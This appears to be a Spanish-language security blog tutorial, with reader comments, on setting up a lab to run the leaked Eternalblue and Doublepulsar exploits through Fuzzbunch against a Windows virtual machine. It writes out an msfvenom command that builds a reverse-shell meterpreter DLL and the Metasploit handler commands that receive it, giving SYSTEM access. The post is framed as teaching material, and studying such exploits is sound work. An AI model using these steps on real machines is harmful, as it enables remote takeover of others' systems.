Shadow Brokers: explotando Eternalblue + Doublepulsar

Hace pocos días saltaba la noticia de que se el grupo Shadow Brokers había liberado una nueva hornada de exploits de la NSA. Por si esto fuera poco, en el github donde están los exploits también hay información sobre como atacar a los sistemas bancarios.

La gran mayoría de los exploits publicados hacen que comprometer un sistema Windows sea cosa de niños y casi como vemos en las películas, puesto que ente ellos se encuentran varios 0-day (ahora ya parcheados por Microsoft) que atacan al protocolo SMB en todas sus versiones.

De todos los exploits disponibles, el que más ha llamado la atención a la comunidad ha sido el combo del llamado Eternalblue + Doublepulsar. En este post vamos a explicar cómo desplegar un entorno de pruebas donde poder probar los exploits.

(N.d.E.: Sobra decir que la información se proporciona a título informativo y didáctico, con objeto de colaborar a mejorar el conocimiento de los técnicos en ciberseguridad. Los cibercriminales no necesitan que nadie les enseñe cómo utilizar los exploits, y a aquellos incautos scriptkiddies a los que se les ocurra jugar a ciberdelincuentes, en fin, mucha suerte en los juzgados).

Necesitaremos:

  1. Máquina Virtual Windows atacante.
  2. Maquina Vitrual Windows víctima.
  3. Equipo con Linux.

Una vez desplegadas las máquinas virtuales de Windows, el primer paso es preparar una de ellas como la atacante. En esta debemos satisfacer una serie de requisitos para poder utilizar el framework Fuzzbunch, que es desde donde lanzaremos los exploits. Para ello se debe descargar el repositorio del git donde se han publicado los exploits y herramientas.

Se puede hacer con un “git clone” o descargando el repositorio directamente:

Una vez clonado el repositorio en nuestro equipo, habrá que acceder al directorio Windows que está dentro de EQGRP_Lost_in_Translation y crear la carpeta listeningposts. Si no hacemos esto, al intentar ejecutar Fuzzbunch nos saltará un error avisando de que no encuentra el directorio.

Para poder ejecutar el framework correctamente y sin ningún error se necesita de una versión antigua de Python y de Pywin32:

  1. Python 2.6.6 de 32bits (se ha probado con Python 2.7 y no funciona).
  2. PyWin32-221 para Python 2.6.6.
  3. Jre-6u15-windows-i-586.

Una vez esté todo instalado vamos a pasar a la acción. Aquí utilizaremos powershell pero también se puede hacer mediante cmd.

Uso del Framework Fuzzbunch

Desde el directorio EQGRP_Lost_in_Translation/windows ejecutamos Python fb.py para acceder al framework, e introducimos los siguientes parámetros:

  • Default Default target IP Addres [] : IP de la víctima.
  • Dafault Callback Addres [] : IP de nuestra máquina Windows.
  • Use redirection[yes] : Establecer a ‘no’.
  • Base Log directory [D:\logs] : Establecer la ruta para almacenar los logs.

Acto seguido hay que crear un proyecto. Una vez realizados estos pasos, veremos en el prompt fb>

Ilustración 1 Terminal del framework

Para visualizar qué exploits hay disponibles podemos teclear Show Exploits:

Ilustración 2 Exploits disponibles

Como se ha comentado anteriormente, en este post se va a explicar Eternalblue (auque no salga en la lista, está disponible) junto con Doublepulsar. Muy por encima, Eternalblue se encarga de crear un backdoor y Doublepulsar inyecta una dll en el proceso del sistema que queramos.

Eternalblue

Para hacer uso de Eternalblue hay que teclear use Eternalblue y acto seguido introducir la información solicitada por pantalla:

Ilustración 3 Configurando Eternalblue

Si todo ha salido bien veremos el siguiente mensaje en el terminal:

Ilustración 4 Ejecución terminada con éxito

Doublepulsar

Con la backdor creada con Eternalblue, el próximo paso a realizar es inyectar una dll en un proceso del sistema comprometido haciendo uso de Doublepulsar.

Para generar la dll podemos hacer uso de msfvenom:

msfvenom -a x64 -p windows/meterpreter/reverse_tcp lhost=IP lport=PUERTO -f dll -o raccoon64V2.dll

Y desde metasploit dejar un handler esperando a recibir una conexión desde la máquina comprometida:

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

[..]

Volviendo a Doublepulsar, como en el proceso anterior hay que introducir la información que va apareciendo en el terminal:

Ilustración 5 Configuración Doublepulsar

Si lo hemos hecho todo bien, tendremos en nuestro equipo local un meterpreter con privilegios SYSTEM sobre la máquina virtual víctima. Con unos sencillos pasos y un par de clicks hemos llegado a comprometer un equipo conociendo solo su dirección IP.

Ilustración 6 Sesión de meterpreter

Por último y no menos importante, una vez tengamos la conexión con el meterpreter deberemos volver a ejecutar Doublepulsar y seleccionar la opción:

4) Uninstall           Remove's backdoor from system

Para eliminar la backdoor, puesto que ya no la necesitamos.

Ilustración 7 Eliminación de la backdoor

Como se ha podido observar, resulta alarmante la facilidad con la que se consigue comprometer un sistema Windows haciendo uso de estos exploits.

En estos momentos creo que todo el mundo se estará preguntando: ¿si esto es lo que se ha publicado, que más cosas tendrán los chicos buenos de la NSA?

Ver también en:

Comments

  1. well, well, well. it is a really good translation from this paper:
    https://www.exploit-db.com/docs/41896.pdf

  2. Well, well, well. We will check that and will correct the post if that’s the case.

    Best regards.

  3. Dear Mourinho,

    After talking to the author of the entry, he says that the post is based in the video https://www.youtube.com/watch?v=ZgvkNjNt4BM&feature=youtu.be, published in the reddit thread mentioned at the beginning of the post.

    Hope this clears any doubt. Thanks for reading.

    Best regards.

  4. Muy bueno el artículo. Lo compartí en mi blog, respetando la fuente. Muchas gracias. Saludos cordiales